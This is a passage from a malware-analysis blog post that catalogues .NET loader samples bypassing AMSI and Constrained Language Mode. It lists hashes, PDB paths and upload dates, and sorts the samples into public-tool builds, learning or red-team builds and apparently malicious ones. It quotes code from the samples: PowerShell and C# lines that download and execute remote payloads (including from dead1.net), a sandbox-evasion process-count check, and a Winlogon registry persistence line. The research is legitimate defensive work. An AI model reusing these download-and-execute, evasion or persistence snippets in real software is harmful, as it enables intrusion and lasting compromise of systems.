57D1D711FBEC473AECBB47379CB3A3110AB5F6404956CB6E24C8920BAD177445A63BB1 |
| KSS upload |
2024-04-30 12:06:52 UTC |
| VT upload |
2024-04-29 08:15:40 UTC |
| Size |
6656 |
| PDB path |
bypass-clm.pdb |
| Attribute |
Value |
| Name |
bypass-clm.exe |
| SHA256 |
dbaf162a0296d1e9838727d412d9d82f397fd9c6dbfc9d86217447722f589ef2 |
| TLSH |
1CD1D712E7E8563BEDBB4731ACB3932107B0FB444D569B5E24CD630B9D0764449A3372 |
| KSS upload |
2021-03-27 08:13:55 UTC |
| VT upload |
2021-03-12 10:20:54 UTC |
| Size |
6656 |
| PDB path |
C:\Users\MichaelDyrmose\Desktop\OSEP\Challenge 1\bypass-clm-master\bypass-clm\obj\x64\Release\bypass-clm.pdb |
| Attribute |
Value |
| Name |
bypass-clm.exe |
| SHA256 |
dc608b4068f287b7e7ae4f9a1d23d4513d88ef47c30dca8152e651f266f62823 |
| TLSH |
C0D1C711F7D8477AECBF4737ACB363010BB4F6504956CB6D25C8920B9D1B6844AA3BB2 |
| KSS upload |
2023-08-19 11:17:07 UTC |
| VT upload |
2022-11-01 00:50:24 UTC |
| Size |
6656 |
| PDB path |
bypass-clm.pdb |
| Attribute |
Value |
| Name |
bypass-clm.exe |
| SHA256 |
e8a44e3eaae4211e2976ee947bd02733766bc5df7e483707a328127c846f4991 |
| TLSH |
60E1D712EBD8573BEDBB4731ACB3931207B0FA408D679B6E24DD630B9C0764445A37A2 |
| KSS upload |
2024-02-10 09:31:21 UTC |
| VT upload |
2023-10-09 08:43:07 UTC |
| Size |
7168 |
| PDB path |
C:\Users\daigua\Desktop\bypass-clm-master\bypass-clm\obj\Release\bypass-clm.pdb |
Invoke-Knockout
One sample is Invoke-Knockout, though not the precompiled version on github.
Sample info
| Attribute |
Value |
| Name |
Invoke-Knockout.dll |
| SHA256 |
1caf71a528d5576617f8a1900d24ec941b83c99b830c53c508b0ff8610836f73 |
| TLSH |
CEE1B545EBF4572ADCAF0B31ECF7124609B5F7128D638B2F48DD461A5D132900DA2BA6 |
| KSS upload |
2023-02-07 17:30:35 UTC |
| VT upload |
2022-11-15 05:18:38 UTC |
| Size |
7168 |
| PDB path |
C:\Users\reg\Downloads\Invoke-Knockout-main\Invoke-Knockout\obj\Release\Invoke-Knockout.pdb |
TrollDisappearKey
The sample that made AMSI Providers registry key disappear was TrollDisappearKey, it is nearly the same source.
Sample info
| Attribute |
Value |
| Name |
ConsoleApp1.exe |
| SHA256 |
9683cab10316c2d33c007ff0cbf648df087998da1fcd797233812029ffb0cdd6 |
| TLSH |
EBE1E611EBD88B72EDB70F716D73138012BAF7054E4BEA1F64CD455B1E13A484AA2392 |
| KSS upload |
2025-08-10 14:29:59 UTC |
| VT upload |
2025-08-11 13:13:14 UTC |
| Size |
7168 |
| PDB path |
C:\Users\Preslav\source\repos\ConsoleApp1\ConsoleApp1\obj\x64\Release\ConsoleApp1.pdb |
Inceptor
As we've already mentioned there was sample vega.dll which is exactly
vega.dll from inceptor.
Sample info
| Attribute |
Value |
| Name |
vega.dll |
| SHA256 |
d9e9460320defd14a1c519b4c4d4162d6cf8f73f3bda735a7baeb9c7cf1a8898 |
| TLSH |
CBD1C515D3E84B32F8BF0731ADB2A3451AF5F950CB67EB6F4596214A5D323200973762 |
| KSS upload |
2021-10-10 15:52:46 UTC |
| VT upload |
2021-09-26 21:04:39 UTC |
| Size |
6656 |
| PDB path |
C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb |
FullBypass
4 samples are slightly modified versions of FullBypass.
Sample info
| Attribute |
Value |
| Name |
FullBypass.exe |
| SHA256 |
2b23972804f45aa6f23b0368a64d4899cae04e2a4397b2dd7b49a9e7026bf189 |
| TLSH |
DEC1D741E3F84326EDF60B72EC62820155B5B7558DB3872E29DDA25B1F162080573BB2 |
| KSS upload |
2024-05-29 03:14:45 UTC |
| VT upload |
2024-05-20 07:17:36 UTC |
| Size |
5632 |
| PDB path |
C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb |
| Attribute |
Value |
| Name |
FullBypass.exe |
| SHA256 |
4a0bd6631fb5109742afcec09d2378797411e92407e3f2928ca0e8e882f76422 |
| TLSH |
EFC1D746E3F85725ECFB0B32EC7283001AB5F65A8D37872D25EDA2571F123444563A71 |
| KSS upload |
2024-05-29 03:02:46 UTC |
| VT upload |
2024-05-20 07:16:27 UTC |
| Size |
5632 |
| PDB path |
C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb |
| Attribute |
Value |
| Name |
FullBypass.exe |
| SHA256 |
9b3ea31feb51d4d14d85018e357d09d237ed7c10dc8fb6b5123e6291e50828c6 |
| TLSH |
02C1F605E3E85735ECFA0F32ECB3931106B5F22A8D63872F18E961471F162580673B62 |
| KSS upload |
2024-05-20 14:11:25 UTC |
| VT upload |
2024-05-20 06:59:05 UTC |
| Size |
6144 |
| PDB path |
C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb |
| Attribute |
Value |
| Name |
FullBypass.exe |
| SHA256 |
9eed620208541e0b0e855588a28848926d38a5f1d7e3b08df8efac0d31b384e2 |
| TLSH |
99C1D746E3F8572AECF60B32EC73870119B5F3558D778B2D24ADA15B1F1234445236B2 |
| KSS upload |
2024-05-29 04:17:30 UTC |
| VT upload |
2024-05-20 07:14:51 UTC |
| Size |
5632 |
| PDB path |
C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb |
MemoryLoader
One sample's pdb path contains flareadmin and the source matches
MemoryLoader.
Sample info
| Attribute |
Value |
| Name |
ameml.exe |
| SHA256 |
95852ff73b638c04ade0e30198fcccff2b5c459e09d18b931fde69cbc4c40e03 |
| TLSH |
6CD1B515D7EC0736E9BB87316EB393405370FB918E67CA6F58D4421B6D262940A73361 |
| KSS upload |
2021-10-04 05:00:43 UTC |
| VT upload |
2021-09-18 19:49:43 UTC |
| Size |
6656 |
| PDB path |
C:\Users\flareadmin\Downloads\MemoryLoader-main\MemoryLoader\obj\Release\ameml.pdb |
Learning, RedTeaming
Another group of samples are not compiled from publically available code on GitHub but still show signs of being used for learning these techniques or being part of red teaming exercises.
Assembly from private IP
There were 4 samples that loaded assemblies from private IP addresses.
iex(new-object net.webclient).downloadstring('http://10.10.15.74/amsi.ps1')
iex(new-object net.webclient).downloadstring('http://192.168.0.103/payload')
Sample info
| Attribute |
Value |
| Name |
Bypass.exe |
| SHA256 |
760b6dc6e78ff37f30fe6ebf2823cf2c18b9eea6257cde2818318c0a827e62c3 |
| TLSH |
F5E1D615DBE8523BFC770B326CB393501670AB425D23DBAF18D9631B6E2364406B37A2 |
| KSS upload |
2023-02-05 23:23:32 UTC |
| VT upload |
2019-11-21 15:57:03 UTC |
| Size |
7168 |
| PDB path |
C:\Users\sjaiswal\source\repos\Bypass\obj\Release\Bypass.pdb |
| Attribute |
Value |
| Name |
Bypass.exe |
| SHA256 |
7f4a457133248ff172126e5c151d7a27a66038d006b14a0c8f90d2f6b52bd374 |
| TLSH |
B6E1E811E7E48B36E8B74F325DF3A31106B0B751CD5B8B2F64D962176E1225406B3BB2 |
| KSS upload |
2023-01-31 16:04:06 UTC |
| VT upload |
2023-01-09 10:16:18 UTC |
| Size |
7168 |
| PDB path |
C:\Users\rahul\Desktop\RastaTools\CLMBypassBlogpost\Bypass\obj\Release\Bypass.pdb |
byte[] rawAssembly = webClient.DownloadData("http://10.10.120.20:81/customgrunt.exe");
byte[] rawAssembly = webClient.DownloadData("http://192.168.0.18:8181/httpgrunt.exe");
Sample info
| Attribute |
Value |
| Name |
assemblyloader.exe |
| SHA256 |
6be9b0277e5d68e424b93d2d7e9d3492707301749e75c7ea88e03dd8116df3a6 |
| TLSH |
D0D1D80097E84736FCBA8B323DB39A0113B4F755CC96D75F25A4511F6E236500A22762 |
| KSS upload |
2020-05-30 06:01:42 UTC |
| VT upload |
2020-05-03 15:30:21 UTC |
| Size |
6656 |
| PDB path |
C:\Users\IEUser\source\repos\assemblyloader\assemblyloader\obj\Debug\assemblyloader.pdb |
| Attribute |
Value |
| Name |
Amsi.exe |
| SHA256 |
df9079daf2783d6f9da523332aa1bc740c1c42304656da5dc4738b0f99bd46ff |
| TLSH |
C8D1E80097E90B37ECF90772ADB7870093B8E79588A6CB6FA5E9510B2F1335805627A1 |
| KSS upload |
2020-04-30 16:18:58 UTC |
| VT upload |
2020-02-29 18:33:53 UTC |
| Size |
6656 |
| PDB path |
C:\Users\IEUser\source\repos\Amsi\obj\Debug\Amsi.pdb |
And two other samples are very much similar to the last two, probably developed from the same ASBBypass code.
Sample info
| Attribute |
Value |
| Name |
ASBBypass.dll |
| SHA256 |
5c715cfc91cfbe468a12f2662ea7e40a9b3dacb8457b5f006a51f64b3dadc080 |
| TLSH |
CFC1C711ABE80776DCFA0B32EDF347521270E6218D73EB3F1989521A6E562544A31FA1 |
| KSS upload |
2024-09-05 10:48:40 UTC |
| VT upload |
2022-04-18 11:35:06 UTC |
| Size |
5632 |
| PDB path |
C:\Users\a_cha\Desktop\AmsiBypass\AmsiScanBufferBypass\ASBBypass\obj\Release\ASBBypass.pdb |
| Attribute |
Value |
| Name |
ASBBypass.dll |
| SHA256 |
fea5938d4161184f73144136951523bd6ef22387f04e71f6e3a2c39be9c11c9c |
| TLSH |
05C1C811ABE80B76DCFA0B32EDF247121770E121CD33DB3F188952166F562504A32BA0 |
| KSS upload |
2021-12-11 08:22:08 UTC |
| VT upload |
2021-11-26 01:52:50 UTC |
| Size |
5632 |
| PDB path |
C:\Users\Cudo\Source\Repos\AmsiScanBufferBypass\ASBBypass\obj\Release\ASBBypass.pdb |
One contains templated assembly download URL https://your-server.com/sliver_beacon.bin and RedTeamCode\Redteam_shellcode in pdb path.
Sample info
| Attribute |
Value |
| Name |
Downloader.exe |
| SHA256 |
aad5599b751c7f98b3c0b721bed7cded2ace818e482166dd89f1600efbb9f074 |
| TLSH |
6DE1C702DBFC5220EDBA0B317C77434055B1FA129A27CB6D28C6221F1E237A54A63733 |
| KSS upload |
2025-03-26 11:34:42 UTC |
| VT upload |
2025-03-19 10:09:26 UTC |
| Size |
7168 |
| PDB path |
D:\RedTeamCode\Redteam_shellcode\Downloader\Downloader\obj\Release\Downloader.pdb |
Learning
Some samples indicate they are part of someone's learning process. LearningLoadAssembly is in pdb path, LoadMe.DoStuff for executed type.
Sample info
| Attribute |
Value |
| Name |
pass_def.exe |
| SHA256 |
0fd505bd7c5e8ab36840e96532b6333d6abce681fa1dd3ea8676f0bd5bd150e7 |
| TLSH |
12E1C600DFC89636E9B60734ACF34B005AB5E794AE539FBF568C812B6D6735045A33A0 |
| KSS upload |
2024-02-02 02:32:53 UTC |
| VT upload |
2024-02-01 01:28:54 UTC |
| Size |
7168 |
| PDB path |
E:\projects\pass_def\obj\Release\pass_def.pdb |
| Attribute |
Value |
| Name |
LoadAssembly.exe |
| SHA256 |
9739bd88c0cf2c832cdfc9fb0f348ce9c9d33dc183e75bc3163a4ee5f7b6d258 |
| TLSH |
91E1F815C7E88735ED7B4B367CB3A3400374F2198D57CB1E64D8A21BAE223084662336 |
| KSS upload |
2022-01-28 10:37:18 UTC |
| VT upload |
2022-01-09 11:26:01 UTC |
| Size |
7168 |
| PDB path |
C:\Users\local_administrator\source\repos\LearningLoadAssembly\LoadAssembly\obj\Debug\LoadAssembly.pdb |
One has shellcodes-lab-csharp in its pdb path.
Sample info
| Attribute |
Value |
| Name |
shellcodes-lab-csharp.exe |
| SHA256 |
2f20240999ff7016fc2f3973aef5d2982a984b4237f18cc31c1a49d26ce277dc |
| TLSH |
9AD1B601E3D847B3EDFA0A325DB3A2401779EB505D679B6FA889520F5E233084963776 |
| KSS upload |
2024-05-06 09:09:33 UTC |
| VT upload |
2024-05-04 13:59:16 UTC |
| Size |
6656 |
| PDB path |
C:\Users\adams\source\repos\shellcodes-lab-csharp\shellcodes-lab-csharp\obj\x64\Release\shellcodes-lab-csharp.pdb |
Other samples are neither compiled from publically available code, nor show signs of non-malicious intent. We consider samples malware related if their code, name or pdb path doesn't contain any hints on them having another purpose.
One sample loads GodPotato.
Sample info
| Attribute |
Value |
| Name |
ConsoleApp2.exe |
| SHA256 |
09bbe47ea92183723cd96ec4f7cc2d1be0979926732a929cd47f6254abaffaa7 |
| TLSH |
12E1E809D7E84232ECB60E30ADB393001336F5119C639B6F64AE910B2E2775449A3B72 |
| KSS upload |
2025-09-22 06:17:43 UTC |
| VT upload |
2025-09-21 05:45:01 UTC |
| Size |
7168 |
| PDB path |
C:\Users\tom\source\repos\ConsoleApp2\ConsoleApp2\obj\x64\Debug\ConsoleApp2.pdb |
Two samples check whether there are at least 40 processes running on the system. Probably to only execute on non-honeypot or dynamic analysis systems. One actually exits if there are too few, the other one just prints and error message and continues.
if (Process.GetProcesses().Length < 40)
{
Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");
Environment.Exit(0);
}
The IP address 106.52.219.135 that 2b9380...60b40f sample uses to download the next payload doesn't have many detections on VirusTotal.
Sample info
| Attribute |
Value |
| Name |
ConsoleApp3.exe |
| SHA256 |
2b9380719b592a253a0691866b69baf89da6a8f24996ed94ff837d561960b40f |
| TLSH |
B6E1C621ABE8A63AD8B70F717DF3531003B9FA558D72976E288C02076D233504AB3736 |
| KSS upload |
2023-12-02 05:05:49 UTC |
| VT upload |
2023-12-02 13:45:56 UTC |
| Size |
7168 |
| PDB path |
C:\Users\systemctl\source\repos\ConsoleApp3\ConsoleApp3\obj\Release\ConsoleApp3.pdb |
| Attribute |
Value |
| Name |
mypowershell.exe |
| SHA256 |
ab2eeaa9ec0f9df85c093c13d02342c21ee648dfc74c3dced2f7df3228cf691a |
| TLSH |
1AE1E611A7E48A39ECBB0B316CB393100375BBA5CE73DB5F64D8251B5D2321009B6B76 |
| KSS upload |
2024-04-20 03:58:42 UTC |
| VT upload |
2024-04-19 03:22:35 UTC |
| Size |
7168 |
| PDB path |
C:\Users\24681\source\repos\mypowershell\mypowershell\obj\Debug\mypowershell.pdb |
7 samples instantiate stagetwo.Yeet class in them and don't have PDB paths.
Sample info
| Attribute |
Value |
| Name |
loader.dll |
| SHA256 |
273fce67e874757dc6a17dccbaafcd39a0c85f50f365412b0419cea952460979 |
| TLSH |
8FD1D712E7E45B72FDBE4B356DA3970102B0FA408E23CB5F6CDD510B1C7A2940662B66 |
| KSS upload |
2024-08-08 11:30:20 UTC |
| VT upload |
2024-08-07 12:37:58 UTC |
| Size |
6656 |
| PDB path |
|
| Attribute |
Value |
| Name |
loader.dll |
| SHA256 |
584a5e3b628d23bc26451bd9ce136ad74c09a25f0c217faa86ebb68650465a97 |
| TLSH |
F6C1D521E7E45632EDAF4B36BEE363421370F9518C67CF5F88C9410B5C362548A63B66 |
| KSS upload |
2024-08-11 03:15:09 UTC |
| VT upload |
2024-08-07 12:43:39 UTC |
| Size |
6144 |
| PDB path |
|
| Attribute |
Value |
| Name |
loader.dll |
| SHA256 |
8a38b90576f64ef088a0a25cd5fd3cf3280d50e47f6e28392236c38869f91b5a |
| TLSH |
42C1D711E7E82732FCAB8B72ACA3A31103F0F9508D97DA9F94D9510B4D722544671B7A |
| KSS upload |
2024-08-14 03:38:08 UTC |
| VT upload |
2024-08-07 12:28:10 UTC |
| Size |
6144 |
| PDB path |
|
| Attribute |
Value |
| Name |
loader.dll |
| SHA256 |
90bda3704c1f96660a903b8d50064d667528a37a86c1f3bf292bb2d6bc9e2444 |
| TLSH |
0AC1E521E7E50732EDAF8732BEE363121370F940CC67CB1F88C9910B5C362144662B66 |
| KSS upload |
2024-08-08 09:31:37 UTC |
| VT upload |
2024-08-07 12:40:01 UTC |
| Size |
6144 |
| PDB path |
|
| Attribute |
Value |
| Name |
loader.dll |
| SHA256 |
b16812764caf00d2546fa4caf154196f9c575073a636b58dffe26412deb4e992 |
| TLSH |
C5C1C629E7E42732FCAF0B39BDA3930203B4F651CD1BCE5F58C9410B5D662040A62B67 |
| KSS upload |
2024-08-08 09:31:37 UTC |
| VT upload |
2024-08-07 12:34:20 UTC |
| Size |
6144 |
| PDB path |
|
| Attribute |
Value |
| Name |
loader.dll |
| SHA256 |
c45596e430f5bbc21deb516844be5e9be6ce9e31abbe18d3d09ee15418e53d76 |
| TLSH |
08C1D725E7E40732EDAB8B72BDE353420274F5408D6BEA5F85D9610B5C2B20086B277A |
| KSS upload |
2024-08-08 09:31:37 UTC |
| VT upload |
2024-08-07 12:31:24 UTC |
| Size |
6144 |
| PDB path |
|
| Attribute |
Value |
| Name |
loader.dll |
| SHA256 |
e0360b7d32312d57562671db7082a16a55a6a25a054517f28ec2371a36e30fae |
| TLSH |
C4C1C629A7E42733FCAF4B39BDA3930203B4F6518D27CE5F5CD9410B5D662440A62B67 |
| KSS upload |
2024-08-08 09:41:40 UTC |
| VT upload |
2024-08-07 12:33:14 UTC |
| Size |
6144 |
| PDB path |
|
One sample checks whether the host OS is Windows 10 and only performs AMSI patching if it is.
string? text = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion", "ProductName", null).ToString();
if (text.Contains("10"))
{
Patch();
}
Sample info
| Attribute |
Value |
| Name |
Anywhere.exe |
| SHA256 |
a456a014abd090696acc77a447580fe71ab71189fe4884c6a8099a6d51a35663 |
| TLSH |
6CE1C505DFE4023AECBF0A32BD3397048774FA9589938F5F4A8D511B2DA26900A62772 |
| KSS upload |
2019-08-12 08:24:45 UTC |
| VT upload |
2019-07-25 14:42:33 UTC |
| Size |
7168 |
| PDB path |
C:\SRC\GenericLoader\GenericLoader\obj\Release\Anywhere.pdb |
One sample downloads the next stage from http://dead1.net/deadTry.exe, which appears to be quite malicious with 56 detections on VirusTotal.
Sample info
| Attribute |
Value |
| Name |
temp.exe |
| SHA256 |
df758f6d5b4442d71450ac9756189b06ac4b0ca5534a5a80d5fab0e5e00175ec |
| TLSH |
8EC1E70147E4A776E9BB4B326CB3970103B8F650CC67EB5E24D9215F2F227100A23B21 |
| KSS upload |
2021-07-10 08:01:03 UTC |
| VT upload |
2021-06-19 23:30:13 UTC |
| Size |
5632 |
| PDB path |
C:\Users\admin\source\repos\temp\temp\obj\Debug\temp.pdb |
One sample sets its process's main module to be automatically executed on winlogon.
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", writable: true).SetValue("Shell", "explorer.exe," + Process.GetCurrentProcess().MainModule.FileName + ",");
Sample info
| Attribute |
Value |
| Name |
taskhostw.exe |
| SHA256 |
9db5f4d30a7100f204ddc6dd4271a42cd61572599fabd8bb2627efa7cbd9bbf8 |
| TLSH |
35F1D804CBE84A76EDBF0F70A9F3834403B1F2518E67DA6E198C551B3E6731085A3722 |
| KSS upload |
2023-08-18 16:09:48 UTC |
| VT upload |
2022-10-25 18:57:42 UTC |
| Size |
7680 |
| PDB path |
C:\Users\shadowspc\Desktop\taskhostw.exe\taskhostw.exe\obj\Debug\taskhostw.pdb |
Summary
In this blog post we analyzed .NET assembly loader samples implementing some kind of AMSI bypass technique. These were just a few samples from our database that came as a result of a previous research about Phantom Taurus samples. Follow up investigation could involve searching for similar samples to the interesting ones detailed in this report, see how many variants there are, how they evolved. As it is visible not all samples in our malware repository or VirusTotal or any other database are threat actor related. Many of them come from ordenary people trying out public repositories, learning about bypass techniques. But there are many related to malicious actors of course, these are usually the more interesting ones.
The full list of mentioned samples is available in .csv format
Want to message us? Contact us: blog@ukatemi.com